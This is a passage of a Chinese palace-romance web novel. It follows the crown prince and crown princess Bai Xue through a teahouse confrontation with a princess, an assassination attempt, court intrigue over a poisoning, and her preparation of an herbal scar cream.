但这是李婉宁第一次来裴静姝组的局,裴静姝一时认不出,“你叫什么来着?”
“眼力不错。”
“回公主的话,臣女名叫李婉宁,家父名为李逸飞。”李婉宁直了直身子,斜着看了一眼齐含贞,似乎在说,瞧见没,我被公主另眼相看了。
齐含贞懒得理她这副小人得志的嘴脸。
裴静姝玩着桌上的茶杯,呢喃自语道:“李逸飞?”
“中臣李逸飞?”
李婉宁:“正是家父。”
青岚看向赵清懿,小声问道:“中臣,官大吗?”
“和丞相相比,如何?”
赵清懿手中的梅花锁,早在公主裴静姝出声时,便已交给丫鬟,小声回答:“正四品官员。”
“丞相是正一品官员,你说谁大谁小?”
青岚:“那还是丞相大。”
李婉宁:“若臣女没看错的话,这手串应是刚上供的绝顶佳品之一。”
“公主殿下,能否让臣女长长眼。”
裴静姝没想到一个中臣之女,竟会知道这手串来历,但不管如何,她极为满意,若无人看出这手串来历,她今日出门故意戴上这手串的心思,岂不是媚眼抛给瞎子看。
裴静姝见她这副讨好的模样,取下手串递给李婉宁,“呐。”
青岚见惯了好品质的玛瑙,对这串玛瑙的印象是品质好,但与她见过的完美品质来说,也就是高等品质,她母亲手上那串玛瑙才是真的完美,颜色艳丽、质地细腻油润。
青岚靠近赵清懿,小声吐槽道:“这手串真有那么好吗?”
“我看也不过如此。”
赵清懿嘘了一声,“休得胡言。”
虽然两人音量足够小,但还是被每日习武的齐含贞听见,为了不被发现脸上的嘲笑,低下头,嘴角上扬。
裴静姝的丫鬟,“小心点,别弄坏了。”
丫鬟此话一出,李婉宁原本小心翼翼伸出的手,僵在半空中。
裴静姝故作呵斥道:“素心。”又把手串放到李婉宁手上,对李婉宁温柔说道:“无碍。”
李婉宁这才看向手中的手串,细细打量。
裴静姝稳坐主位,等待李婉宁接下来的话,连一旁空的位置都没发现,或者不是没发现,而是当前她认为最重要的事,便是听李婉宁的奉承。
李婉宁夸张的说道:“这串十八子手串,个个颜色浓郁均匀。”说着摸了摸珠子,其中一颗,有一处轻微的凹陷,不仔细摸是摸不出来的,她当作浑然不知的模样,“质地细腻、光滑,当属完美啊。”
说完,将手串双手奉上,裴静姝身旁的素心上前,拿起手串,以同样的方式转交给裴静姝。
裴静姝这才看向空着的座位,“这座位,是谁的?”
李婉宁刚想回答,白雅琴的声音响起。
白雅琴站在裴静姝身旁,行礼道:“对不起公主殿下,臣女来晚了。”
裴静姝看向她,“落座吧。”
“臣女谢过公主殿下。”说完,坐在一旁的空位上。
裴静姝:“怎的今日这么晚?”
白雅琴心里衡量该怎么说,才能不得罪公主,又能不暴露自己与二皇子的秘密。
白雅琴想起来时,在楼下听说观隐的雅间,今日被人订了的消息,随即开口说道:“我在楼下听到一消息,一时兴起就多听了一会儿。”
裴静姝:“哦?”
“是什么消息?”
白雅琴语气平淡的扔出重磅炸弹,“我听说观隐。”观察着众位的表情,见都被她勾起好奇心,才说道:“今日……”
“有人进去了。”
裴静姝神色不变,内心却充满愤怒,她今日本想订观隐,却被告知早已被人订下,连她的身份都不能订这间包房,此时却听见白雅琴的这一番话。
究竟是谁,敢同她抢!
倒不是这雅间有多贵重,实在是因为她听说这雅间已三年多无人进过,但每次问掌柜,掌柜都会推辞,她还以为今日也是同样,没想到……
齐含贞倒不觉得这雅间有什么,只是那传言,她也听说过,但她听到这番话,没什么感觉。
青岚听见的第一时间便是看向赵清懿,她很想问这观隐怎么了?
但她没问,她在笨也知道这气氛,不能轻易开口。
赵清懿则是端起桌上的茶杯,细细品尝了一番,她知道内幕,更知道观隐·雅间是谁的,因为这御和楼是她家开的。
唯有李婉宁第一时间看向裴静姝的表情,见她神色平静,眼神却闪过一丝愤怒,被李婉宁扑捉到。
便知,需要一个出头鸟,而她愿意做这个出头鸟。
李婉宁好奇的问道:“谁啊?”
白雅琴:“两个男人,一个高、帅,但身体不好。”
“一个是娘娘腔。”
李婉宁惊讶得声音放大了几倍,“娘娘腔?”
白雅琴点点头。
李婉宁一直在观察裴静姝的表情,见她似乎更气了,站起身,往外走,“我倒要
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看看,究竟是谁。”
赵清懿不想惹麻烦,劝了句,“或许是陈掌柜的朋友,我看还是不要惹陈掌柜不耐。”
李婉宁看了一眼裴静姝,“管他是谁?”
“就算是天王老子来了,也得有个先后顺序吧?”
“凭什么那观隐·雅间迟迟不让旁人订?”
说着,几人已经来到了观隐·雅间门口。
李婉宁朝身旁的丫鬟使了个眼神,丫鬟立马上前敲门。
——咚咚咚
白雪:“多半是隔壁雅间那几位女子,来找麻烦了。”
裴宴景放下手中茶壶,起身向外走,“我去处理。“
裴宴景路过白雪身旁时,白雪一把拉住他的手腕,语气温柔的安抚着他,“我来吧,几名女子而已。”
裴宴景仿佛触电般,看着手腕,完全没听见白雪说的话。
白雪见他不说话,以为他是默认了,起身往外走。
白雅琴内心一震。
怎么是她?
白雅琴看了眼身旁的裴静姝,嘴角上扬,往后退了两步,躲在众人身后看戏。
青岚小声对赵清懿说道:“这谁啊?”
赵清懿有些惊讶,这人她不认识,摇摇头。
裴静姝以为是哪位世家、贵族,亦或者是她两位哥哥,没想到是一个她不认识的人。
内心更加不满,她凭什么?
裴静姝上下打量着白雪,就凭她这娘娘腔的气质?
李婉宁心想果然是娘娘腔,问道:“请问公子能否将这雅间,让给我们?”
白雪干脆的拒绝道:“不能。”
李婉宁秉承着不得罪人的心态,问道:“请问您是哪家公子?”
白雪背挺得笔直,语气平淡的说道:“无名小卒,不足挂齿。”
李婉宁放下心,下巴抬高了几分,说道:“你知道我身边这位是谁吗?”
白雪看向裴静姝,“不知道。”
连公主都不认识,李婉宁更加笃定此人不过是运气好罢了,正好碰上掌柜的心情好。
不过白雅琴口中那位,高、帅,但身体不好的男子呢?
下一秒,又想到或许是躺在床上,站不起来了呢?
李婉宁:“她可是当今圣上的女儿——永宁公主。”
白雪:“永宁公主?”
“不认识。”
如此轻描淡写的语气,惹恼了裴静姝,对身旁的素心使了个眼神。
素心点点头,走上前,从包里拿出一袋银子,“把这雅间让给公主,袋子里的钱归你。”
白雪:“我不需要你手里的钱,这房间也绝不可能。”扫视了面前几人的脸,但有一人躲在其他人身后,白雪看不真切,继续说道:“让给你们。”
素心威胁道:“你别敬酒不吃吃罚酒。”
白雪还未回答,便听见裴宴景的声音响起。
“你说谁,敬酒不吃吃罚酒?”
众人看向白雪身后,只见裴宴景从屋里款款而来。
青岚看向赵清懿,小声问道:“这谁呀?”
赵清懿已经低下头,同样小声说道:“太子。”
13. 品茶3
素心立马下跪:“太子殿下,奴婢不知这雅间是您的。”
随着素心下跪叫出那句太子时,众人纷纷跪下,“太子。”
唯有裴静姝一人站在原地不动。
裴宴景:“免礼。”看向裴静姝,表情严肃、眼神犀利的说:“谁给你的权利?”
“若今日不是我在,而是一个平头百姓,你会怎样让他把雅间让给你?”
看了眼素心手里的钱袋子“是用钱?”
“亦或是用权?”
裴静姝明白这是在说她利用权势压人,但这世间事本就应该如此,她一个高高在上的公主,凭什么和那些贱民相提并论?
贱民本就应该在她的道路上自觉避让。
但裴宴景的眼神太过犀利,让裴静姝不得不低下头,吞吞吐吐道:“太子哥哥,我……”
裴宴景扔下一句,“好自为之。”牵起白雪的手就往屋里走。
裴静姝抬头死死盯着白雪的背影,太子哥哥她没有能力对付,一个不知从哪个犄角旮旯冒出来的娘娘腔,她还对付不了吗?
随着关门声响起,裴静姝眼里的恶毒全然消失,温柔的看向其他人,说道:“今日我有些乏了,各位下次再聚。”
白雅琴刚想上前说告辞的话,听到这句话,立马缩回脚步,站在原地。
裴静姝走之前突然想起一旁的李婉宁,“你…”但裴静姝突然忘了她叫什么名字。
李婉宁立马说道:“公主殿下,臣女叫李婉宁。”
“李婉宁是吧?”
“下次也一起。”
李婉宁看着裴静姝离开的背影,兴高采烈地说道:“臣女多谢公主殿下。”
白雅琴松了口气,幸好公主没有心情了,不然她还得上前触霉头,她得赶紧去告诉二皇子这件事。
裴静姝咽不下这口气,立马吩咐素心,“去查那娘娘腔,姓谁名谁。”
素心还未回答,白雅琴已经走到裴静姝身旁。
“臣女知道她是谁。”
裴静姝看向白雅琴,眼神犀利,“谁?”
白雅琴:“臣女的妹妹,白雪。”
一个被家族抛弃,因冲喜而成为太子妃的女人。
裴静姝记住她了。
裴静姝看向白雅琴,神色玩味,“你……”扔下一句,“够狠的。”转身上了马车。
白雅琴脸上浮现出一抹笑容,狠?
她只是懂得珍惜罢了。
裴宴景看了一眼街道尽头朝这边来的马车。
时间刚好。
裴宴景对身旁的白雪说道:“我到休息区等你。”
白雪进入药店仿佛像是鱼儿见到了水,随意的说道:“好。”
她根本没听清裴宴景说的什么。
这家药店里的药,都是由一格一格的木柜保存,白雪走到药店前台。
药工:“需要买点什么?”
“有药方吗?”
“有。”白雪从袖中拿出早已准备好的药方,递给药工。
药工看了一眼,转身抓药。
白雪等待的空隙,突然感觉到身旁人的注视,白雪抬头看去。
这人好眼熟。
纪云峰终于看清白雪的脸,“你是黄太医的弟子?”
白雪想起来他是谁,“对,你来替老太太抓药吗?”
“老太太身体好些了吗?”
纪云峰笑着说道:“多亏了黄太医与您,我母亲身体好多了,正向找机会让黄太医和您,再替我母亲看一看。”
药工把抓好的药和药方,放在白雪面前:“您的药好了。”
“一共200文。”
纪云峰:“原来您也是来抓药的。”
“容我冒昧的问一句,这是治什么的?”
白雪还未回答,裴宴景走到白雪身边,“好了吗?”
装作才发现一旁的纪云峰,好奇的问道:“纪云峰?”
“你也是来抓药的?”
白雪对裴宴景说道:“200文。”
然后又对纪云峰说道:“这是我准备拿来调制祛疤膏的。”
纪云峰看见裴宴景先是一愣,而后想要立马行礼,但看裴宴景穿着打扮是常服,立马回道:“对,我来替我母亲抓药。”
“祛疤膏?”
白雪点点头。
裴宴景从袖中拿出铜板放在台上。
纪云峰想起家中女儿,因脸上毁容,终日关在屋里,不出门,“这祛疤膏的药方,我可以买下吗?”许是白雪的眼神太过疑惑,纪云峰继续说道:“我想给我女儿试试。”
裴宴景:“若我没记错的话,你女儿的伤已有两年了。”
纪云峰:“是,不管有没有效,只要有机会我都想试试。”
白雪:“可是可以,但是……”
纪云峰:“钱不是问题。”
白雪:“不是这个原因,只是这调制的方法,是我的独门技术,或许有药方还不行,如果你不介意的话,我可以调制成成品,你再来取便是。”
纪云峰虽知道白雪是裴宴景的人,但不知去哪里寻她,“当然不介意,只是……”
白雪对药工说:“请再帮我抓一份。”指着手中的药包,“和这个一样的。”把药方重新递给药工。
药工点点头,转身抓药。
白雪:“但说无妨。”
纪云峰看了一眼裴宴景的神色,见他没有任何不耐,试探的说道:“我该去哪里找你取?”
白雪不知道自己该不该说,“这……”看向裴宴景。
裴宴景:“到时你来找我便是。”
纪云峰的眼神在裴宴景和白雪身上,来回停留,很快便想通其中的原因,“是,后天可以吗?”
“可以。”裴宴景把钱放在台上,拿起另一份药包,对纪云峰说道:“那我们就先告辞了。”
纪云峰:“好。”
裴宴景转身,看向身旁白雪,“给我吧。”
白雪把药包递给裴宴景,裴宴景接过药包。
这样简单的动作,落在纪云峰眼里,却透露出不同寻常的信息,再加上白雪那身高体型与长相。
纪云峰刚刚的猜想得到证实,他推算出两人真实关系。
纪云峰身旁的小厮询问道:“老爷,需要我去查查那两人吗?”
纪云峰看向小厮,“你有几个脑袋?”
小厮迷茫的摸摸头,“老爷,小人只有一个。”
纪云峰叹了口气,“我是让你不要去查。”
小厮摸着自己头,低头“哦”了一声。
夜幕降临,裴宴景与白雪两人走在街上。
裴宴景与白雪的影子渐渐拉长,直至影子融为一体
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,路上安静的让裴宴景心神不宁。
白雪发现裴宴景突然的警惕:“怎么了?”
一道风吹过,咻地一声。
裴宴景揽过白雪的肩膀,往旁边移了一步。
在两人之前的位置上,扎着两只箭。
裴宴景把药包放在白雪怀中,“找个位置躲起来。”
白雪点点头,环顾四周,躲到一背篓后面。
裴宴景这才放心,抬头看去,只见几名黑衣人,已经来到他的面前。
裴宴景:“你们是谁的人?”
黑衣人的领头人说道:“取你命之人。”
“少废话,上。”
几名黑衣人各显神通,有的拿剑,有的拿刀,有的近身肉搏。
裴宴景站在原地一动不动。
黑衣领头人以为他是认命了,嘴角上扬。
但很快他就笑不出来了。
肖玉带人从裴宴景身后,跑上前将人团团围住。
黑衣人愣在原地。
裴宴景:“现在可以告诉我,你们是谁的人了吧?”
黑衣人:“想知道?”
“没门。”
话毕,几名黑衣人纷纷自尽,有两个动作慢了些,被人抓住。
裴宴景:“带走。”
“我要亲自审问。”
肖玉行礼道:“是。”
肖玉一挥手,拖着尸体和两个黑衣人,与带来的人马走了。
裴宴景走到白雪躲藏的地方,轻轻移开背篓,见白雪闭眼,视死如归的样子,笑出了声。
白雪听见笑声,慢慢睁开双眼,见是裴宴景,站起身,“你笑什么?”
白雪装作很忙的样子,把移开的背篓移回原位,见裴宴景全身上下什么事都没有,“你没事?”街上除了他们两,也没别人,好奇的问道:“那些人呢?”
裴宴景:“我笑你可爱。”
“他们?”
“被我杀了。”
白雪:“不可能,这街上连具尸体都没有。”
“肯定是知道你身份,被吓跑了。”
裴宴景不愿让白雪见识黑暗,希望她能一直这样纯真善良,“是,我说我是太子。”
“那些人立马屁滚尿流的吓跑了。”
白雪:“看吧。”
“我就说是这样。”
裴宴景:“对,你真聪明。”
白雪骄傲的哼了一声,“那是。”
裴宴景嘴角上扬,看着白雪的背影,觉得她真是太可爱了。
而此时的谷杭早已力竭,只能死命的逃跑,身后那群黑衣人离他不足十步。
谷杭紧急停下脚步,他脚边那颗石子缓缓滚下悬崖。
黑衣领头人喘着粗气,“你继续跑啊。”
“我看你现在往哪跑。”
“兄弟们,跟我上。”
谷杭绝望的闭上双眼。
白雪回到东宫,换好衣服便开始准备制作祛疤膏。
白雪拿着药包去往厨房。
此时的栖霞早已从最开始的期待变为失望,她以为太子妃忘记她了,垂头丧气的烧火。
“栖霞。”
白雪的声音犹如天籁一般,灌入栖霞耳中,栖霞眼睛一亮,抬头看向门口,看见白雪穿着一袭月白色的素袍,在栖霞眼中犹如神明一般,缓缓走来。
14. 荔枝
当白雪走近,栖霞才回过神来,站起身行礼道:“太子妃。”
“帮我打盆干净的水来。”白雪说着掂了掂手中的药包,“我要浸泡药物。”
“是。”栖霞说完,洗了个手,拿起干净的盆,从桶里舀出水来,把盆放到灶台上。
白雪把药包里的杏仁筛选出来,放进盆中浸泡,“栖霞,上次的药臼放哪里去了?”
“奴婢立马去拿。”栖霞立马跑出厨房,从外面的架子上,抱着药臼,放到灶台上。
白雪把丹参放进药臼里研制粉末,栖霞站在一旁没事做,从外面又抱进一个药臼,“太子妃,奴婢和您一起吧?”
白雪头都没抬,说道:“好。”
白雪与栖霞分别把川芎、三七、僵蚕、蜈蚣、秦艽、五倍子、白及等研制成粉末。
与此同时,东宫书房,裴宴景身后跟着肖玉,两人走到书架面前,裴宴景移动右手边的一盏油灯,旋转灯罩,书架缓缓朝两边移动,露出中间的通道。
两人进入通道,裴宴景移动墙上的一块砖,书架缓缓关闭,肖玉拿着火把走在前面。
两人从通道里,左转、右转,走过几条分叉路口,最终停到关押那两个人的地牢里。
小七、小八被绑成一个十字,身上什么伤痕也无,墙上挂着鞭、杖、棒、钳等十八种刑具。
肖凯站在两人面前,等待裴宴景的到来,直到听到身后的脚步声,回头、转身、行礼一气呵成,“太子殿下。”
裴宴景“嗯”了一声走到两人面前,“二皇子派你们来的?”
小七、小八对视一眼,眼中皆是惊讶,异口同声地说:“你怎么知道?”
裴宴景:“我可以把你们放了。”
小七、小八都不信裴宴景如此好心。
小七试探着开口说:“你要我们做什么?”
裴宴景:“只需要告诉我,二皇子是怎么知道我出了东宫的。”
小八:“就这么简单?”
小七:“别信他,肯定没有这么简单。”
裴宴景一副他们爱信不信的模样,“当然。”
小七刚想劝小八别说,小八嘴快的说出,“是白雅琴。”
小七无奈的叹了口气。
小八:“现在可以放了我们吧?”
裴宴景转身给肖玉使了个眼神,拿起一旁的火把便走了。
肖玉与肖凯上前,给两人松绑。
小七、小八喜笑颜开,还以为裴宴景是骗他们的,没想到是真的。
下一秒,小七和小八被一刀封喉,两人捂着喉咙,眼神里的笑意还未尽数散去,就已倒地,没了呼吸。
肖玉:“处理干净。”
“是。”肖凯说完,对着小七、小八尸首说道:“太子说放了你们是真的,但可没说让你们活着走出去。”
而此时的厨房里,白雪看了一眼泡好的杏仁,把杏仁去皮,研制成粉末,与轻粉、滑石粉等合在一起,上锅蒸。
白雪:“酒放在哪里的?”
栖霞从柜子里找出酒,“太子妃,这里。”
白雪把药粉全部放入盆中,走过去:“把酒倒里面。”
栖霞惊讶地指着盆里药粉,说道:“太子妃,这里面吗?”
白雪:“对。”
一切做完后,白雪用另一个大一些的盆将它盖住,“这个要浸泡12个时辰。”
白雪揭开锅盖,看了一眼,“可以了。”上手去取出蒸好的杏仁。
嘶~
好烫。
白雪手刚接触到碗,就因碗过于烫,而弹开,双手摸了摸耳朵。
白雪左顾右盼找了两块帕子,这才将碗拿出来,放到灶台上,加入少许龙脑和鸡蛋清,混合均匀成为膏状,装入事先准备好的容器中。
白雪拿了一盒给栖霞,“这个是美容的,你先放着,等我明日祛疤膏做好后,你先涂祛疤膏,等疤痕愈合后,再用这个。”
栖霞接过想跪地磕头,被白雪拦住,栖霞泪眼朦胧,“奴婢多谢太子妃。”
白雪摸了摸栖霞的脑袋,什么话也没说。
今日天气晴朗,微风拂过。
裴宴景命人在池塘旁摆了两张摇椅,在香樟树下,摇椅中间放置了一张桌子,上面摆放着草莓、荔枝、葡萄等水果,还命厨师做了几道糕点放置在掐丝小盒中。
这一切都是背着白雪安排的,为了给她一个小小的惊喜。
白雪坐在铜镜前,裴宴景站在她身后,用一块红布遮住她双眼。
白雪:“你要带我去哪?”
裴宴景打了一个蝴蝶结,“等会儿,你就知道了。”
话毕,裴宴景牵着白雪的手往外走,刚开始白雪每一步都走得小心翼翼,后来白雪渐渐信任裴宴景,脚步越来越快。
裴宴景:“好了。”
裴宴景放开白雪的手,走到后面替她扯开蝴蝶结,丝带慢慢从白雪眼睛上滑下。
白雪看着眼前的一幕,眼神欣喜的看向裴宴景,“这是你安排的?”
裴宴景:“还满意吗?”
“满意。”白雪说着,已经坐在躺椅上了。
微风拂过白雪与裴宴景的脸庞,吹起几根发丝,他们两的发丝在空中交融。
白雪看向桌上的水果,拿起一颗荔枝,因放在冰桶中,壳有些冰凉,夏日摸着冰凉的东西,唯有舒服二字才能表达,“荔枝?”
“哪里来的?”
裴宴景剥了一颗荔枝,示意白雪拿走,白雪直接俯身,用嘴咬上荔枝的果肉,嘴唇不经意间触碰到裴宴景的手,如触电一般。
缓了一会儿,裴宴景才解释道:“我找父皇要来的,拢共也没几颗。”
裴宴景说得轻巧,可过程一点也不轻松。
今早,御书房内。
裴宴景与裴松坐在休息区,两人面对面,中间摆放着棋盘。
裴宴景执黑棋,黑棋由黑漆描金制成,他看向棋盘等待父皇落子。
裴松执白棋,白棋由白玉制成,裴松盯着棋盘,寻找活口。
此时,苏公公带着一名丫鬟进入房内,丫鬟手上抱着瓮走了进来,苏公公行礼道:“皇上,今年上供的荔枝,还是送到皇后宫里吗?”
裴松正在思考,头也没抬地说道:“嗯。”
裴宴景想起白雪,或许
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没吃过荔枝,说道:“父皇,能否给儿臣一点儿?”
裴松抬头看向裴宴景,“你这身体能吃吗?”
裴宴景:“儿臣不能吃,父皇不是还有儿媳妇吗?”
裴松盯着裴宴景眼睛几秒,脸上慢慢绽放出一抹微笑,“你想要,便拿去。”
裴宴景:“儿臣谢过父皇。”
“先别急着谢。”裴松看向苏公公,说道:“给太子分一份,其余的送入皇后宫中。”
苏公公行礼道:“奴才遵命。”
等两人走后,裴松才开口道:“谷杭失踪了,是你动的手?”
裴宴景神色未变,“他失踪了?”
“什么时候的事?”
裴松盯着裴宴景脸上的神色几秒后,才开口道:“你当真不知?”
裴宴景走到一旁,面对裴松跪下说道:“儿臣真的不知道。”
裴松:“不管你知不知晓此事,我要让他出现在明日的中秋宴会上。”
裴宴景:“儿臣明白。”
与此同时,皇后宫中。
杜若华闭目躺在美人榻上,苏公公带着丫鬟来送荔枝,说道:“皇后娘娘这是今年上供的荔枝。”
杜若华睁开眼睛,看向张嬷嬷。
张嬷嬷立马上前,从袖中掏出碎银放在苏公公手中,“多谢苏公公亲自来这一趟,能否打开让奴婢瞧一眼。”
苏公公对身后的丫鬟说道:“打开吧。”
张嬷嬷看向瓮中的荔枝,荔枝明显比往年要少一些,“苏公公今年这荔枝,怎的这么少?”
苏公公看了一眼皇后,想起病弱的太子。
两人的争斗,他不愿参与其中,但身后还有个丫鬟,难保不被皇后买通,但太子与皇上下棋之事,不能从他嘴里说出来,“这荔枝送了一些到太子的东宫。”
杜若华:“他?”
“病好了?”
苏公公:“奴才不知,许是太子妃想吃。”
杜若华看了一眼张嬷嬷,使了个眼神,张嬷嬷心领神会,立马把两人送出房后,回到屋内,“皇后,那太子妃才嫁进来几日,便敢同您抢东西。”
杜若华嘴角浮现出一抹冷笑:“一个小丫头片子。”
“再容她蹦跶两日。”
裴宴景打开掐丝小盒,先揭开一个,里面装的是桂花糕,“尝尝。”
桂花糕是由糯米粉、蜂蜜、桂花和熟油制成,小小的正方形大小,摆放在碟中,洁白如玉般。
白雪拿了一小块,桂花香先一步抵达鼻腔,她吃了一小口,糯米香与蜂蜜混合在一起,层层递进,吞咽后,桂花的余香仍在齿间萦绕,“好吃。”
裴宴景又揭开一个,里面放置着冰酥酪,端出碗放在白雪面前,又从里面拿出羹匙放在碗中,“再尝尝这个。”
白雪从未见过面前这乳白凝酪,上面还撒上了一些花瓣点缀,“这是何物?”
裴宴景:“冰酥酪,是用牛乳与米酒制成,里面放了一些枸杞、红枣等。”
白雪舀了一勺,放入嘴中。
口感嫩滑、入口即化,奶香与淡淡的酒香融合在一起,冰镇后的口感清凉爽口。
15. 牛乳
裴宴景:“怎么样?”
白雪抬头,不知她是怎么吃的,嘴角沾上了一圈牛乳,像白胡子一般可爱俏皮,“好吃。”
裴宴景用手指了指自己的嘴角,白雪愣楞的看着他,没懂什么意思。
裴宴景无奈的摇摇头,从怀中掏出手帕,没注意拿的是白雪的手帕,白雪看见那手帕一角绣着的白色雪花,手帕也是白色的,若不仔细观察,是看不出来的。
但白雪对自己的手帕很熟悉,“我的手帕,怎么在你那里。”
裴宴景愣住,有一瞬间的慌张,但很快就被他掩饰过去,“你忘了?”
“药浴时,你让我咬住你的手帕。”
白雪歪了歪头,思考了一瞬,“好像是这样。”
裴宴景这才俯身,轻柔的擦去白雪嘴角边残留的牛乳。
白雪大大的眼睛一动不动的盯着裴宴景的脸,甚至连他脸上的毛孔都能清晰的看见。
太阳渐渐下山,月亮悄悄爬上来。
白雪穿过蜿蜒的小路,走进厨房,厨房里一个人都没有,白雪还有些奇怪……
栖霞呢?
白雪走向昨日泡药的地方,揭开盖子看了一眼,便听见屋外传来的惨叫。
“啊!”
凄厉的惨叫声如雷贯耳,这声音好熟悉,好像是栖霞的声音,究竟发生何事?
白雪盖上盖子,走出屋外,循着声音走去,远远的就看见四五个丫鬟围着栖霞。
栖霞跌坐在地上,其中一名丫鬟,脚踩在栖霞的手上,白雪快步走过去,呵斥道:“你们在干什么?”
丫鬟们听见声音,回头看向白雪,惊讶一瞬后,纷纷行礼道:“太子妃。”
白雪:“所谓何事?”
“为何欺负栖霞。”
雪落上前一步,说道:“禀告太子妃,奴婢发现栖霞偷东西。”
栖霞忍痛跪在地上,“太子妃求您相信奴婢。”
“奴婢没有偷东西。”
白雪看了一眼栖霞,看向雪落,“她偷了你们什么东西?”
雪落拿出一个粉色小盒子,粉色的盒身,上面雕刻着蝶恋花的图案,精巧绝伦、美轮美奂。
这盒子怎么这么眼熟,很像她昨晚给栖霞的。
白雪眼神犀利的看向雪落,问道:“你确定这是你的?”
雪落内心一震,难道太子妃发现什么了?
但这么好的东西,肯定不是栖霞的,雪落下定决定,肯定的说道:“回太子妃的话,奴婢确定。”
看来她是不见棺材不落泪,亦或者她肯定栖霞不会有这么好的东西。
白雪:“那你说说里面是什么?”
雪落内心咯噔一声,她哪知道里面是什么?
但她抢来时,打开看见过,里面装着白色的膏体,兴许是擦脸的。
雪落手臂举得微微发酸,猜测道:“面脂。”
白雪:“你确定?”
简单的三个字,听在雪落耳里,压迫感极强,否认道:“不…不是。”
“是七白膏。”
白雪没有兴趣,等她瞎猜,看向栖霞,“你来告诉她,里面究竟是什么。”
栖霞眼中闪过一丝欣喜,太子妃是站在她这边的,“回太子妃的话,是杏仁膏。”
白雪:“听清楚了吗?”
虽然白雪的语气、表情、眼神都很温柔,但雪落却压迫感十足,额头也渗出一层薄汗,立马跪在地上,身后与她一起的丫鬟,见她下跪,跟着她一起跪在地上。
雪落:“奴婢只是…一时冲动。”
“求太子妃原谅奴婢这一次。”
白雪:“你应该求原谅的人不是我,而是栖霞。”
栖霞不可置信的看向白雪,这是第一次有人完全站在她这边,她想这一刻的感受,她永远也不会忘记。
雪落一愣,她没想到太子妃会让她求得栖霞的原谅,一个被放弃的宫女,值得太子妃这么费心吗?
但这些都与她无关,她收拾好心情,转头看向栖霞,眼神里闪过一丝不屑,很快被笑意淹没,把盒子放在栖霞手里,“栖霞,你就原谅姐姐这一次。”
“好不好?”
栖霞当然不想原谅她,但若是不原谅,总不能时时刻刻等着太子妃来拯救她吧?
但若原谅,栖霞担心她会在太子妃看不见的地方变本加厉。
栖霞想通后,说道:“我可以原谅你,但你得在太子妃面前保证,你不会再找我麻烦。”
雪落见她如此好说话,欣喜万分,对于她说的话,雪落全当没听见,“太子妃,栖霞原谅奴婢了。”
“栖霞,过来。”白雪瞥了她一眼,“若我下次看见栖霞身上有伤,无论是不是你找她麻烦。”
“我全都算在你头上。”
栖霞低头走到太子妃身边,完全没想过太子妃会说这句话,但无论如何,她都已经决定永远跟随太子妃。
雪落低下头,掩饰眼神里流露出的愤怒,轻声细语的说:“奴婢明白了。”
白雪看都没看她一眼,带着栖霞回到厨房。
白雪在栖霞面前站定,拿起栖霞受伤的手,满是泥巴都难掩手背上的红痕,“痛吗?”
栖霞低着头,眼睛里噙满泪水,一滴眼泪掉在白雪粉色的鞋面,语气哽咽的说道:“回太子妃的话,奴婢不痛。”
白雪放下栖霞的手,拿了个小碗准备弄点白酒。
栖霞见太子妃不理她,无助的低头呆站在原地,还以为自己惹太子妃生气了。
白雪:“过来。”
栖霞迷茫的抬头看向太子妃。
只见白雪拿着小碗,朝她招招手,“过来。”
栖霞走过去,白雪牵起栖霞的手,“会有些痛。”
“忍一忍。”
栖霞:“奴婢明白了。”
白雪用手帕沾了点白酒,轻轻擦拭栖霞受伤的地方。
栖霞耳边是青蛙呱呱呱的叫声与蝉鸣声混合在一起,犹如一首曲子,时而高昂,时而低沉。
栖霞连白酒擦拭伤口引起的剧烈疼痛与灼烧感,都能面无表情地忍住。
但栖霞还落泪了,不是因为疼,而是栖霞第一次感受到被关心的感觉。
原来是这样,被温暖包围的感觉真好。
白雪消毒完,抬头看,发现栖霞在无声地落泪,一时间有些慌张,“怎么了?”
栖霞:“奴婢……奴婢……
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”
“第一次被人关心。”
白雪松了口气,原来是这样,“你父母呢?”
栖霞:“回太子妃的话,奴婢是被父亲卖掉的。”
白雪:“卖入宫中?”
栖霞:“奴婢是被卖给一个五十岁的老头,那晚我趁他睡着,偷偷跑出来的,奴婢当时也不知跑了多久,只是死命的跑。”
白雪有些惊讶,栖霞看起来也不过十五、六岁的模样,竟会有如此凄惨的身世,“一切都会变好的。”
栖霞跪下磕头:“若太子妃不嫌弃,奴婢愿意永远追随您。”
“虽然奴婢以前做过错事,但从今往后您让奴婢往东,奴婢绝不往西,您让奴婢钓鱼,奴婢绝不杀鸡。”
白雪被栖霞这段话震住了,虽然白雪的目的是让自己有一个信得过的心腹,但白雪没想到会让栖霞如此这般,“我知道了,你起来吧。”
“你为什么在太子的药里下乌头?”
栖霞听到这句话,紧张得冷汗瞬间涌出来,害怕白雪会因此不原谅她,吞吞吐吐道:“太子妃,奴婢……”
“没事,你若不想说,我也不逼你。”白雪说完,转身走向浸泡药的盆,把盖子揭开。
栖霞纠结半天,最终决定不管结果如何,她也会把事实说出来,“是皇后命令奴婢的。”
白雪记得她被关禁闭时,曾听见皇后生病了,“皇后?”
“太子的母亲?”
“她为何要害自己的孩子。”
栖霞:“皇后是二皇子的母亲,太子的母亲早在十年前就去世了。”
白雪愣住,“去世了?”
栖霞点点头,“具体的奴婢也不清楚,只是偶然听宫中老人提及,只是后来她……”栖霞不愿把那些不好的经历告诉白雪,便停止继续说下去。
白雪:“她怎么了?”
“你去烧火,我把这些蒸一下。”
栖霞走到灶前,用火镰点燃柴火,“她死了。”
白雪把锅里灌了一点水,把盆放入锅中,“为何?”
栖霞:“她得罪了皇后。”
白雪:“得罪?”
“如何得罪皇后的?”
栖霞:“替皇后梳头时,太过用力。”
就这样?
这么点小事,就把她杀了。
白雪曾以为皇后应该是温柔的,掌管六宫之主,虽然威严,但不至于因为梳头被弄疼,而杀死一个无辜的生命。
想到这里,白雪突然有些好奇,“你是怎么活下来的?”
栖霞愣住,她是怎么活下来的?
当时她也以为自己会死,想到这里,栖霞的手摸了摸脸上的疤痕,但没想到,只是脸上被划了一个X,在栖霞心里,毁容总比被杀强,“奴婢也不去清楚,为何皇后没有杀奴婢。”
与此同时,书房里。
肖玉:“太子,您为何要保下栖霞?”
裴宴景翻了一页书,“没有原因。”
“只因她是我宫里的人。”
这才肖玉追随太子的原因啊,不管做了什么,太子总是护短的。
肖玉:“祁越有消息了。”
“他说一切顺利。”
16. 中秋1
“嗯。”裴宴景抬起头,看向肖玉,神色晦暗,“明日中秋宴会,注意一切细节,有任何风吹草动都要来告诉我。”
肖玉:“属下明白了。”
白雪算着时间,揭开锅盖,一股热气扑面而来,使白雪不自觉地闭上双目,身子往后仰了一下。
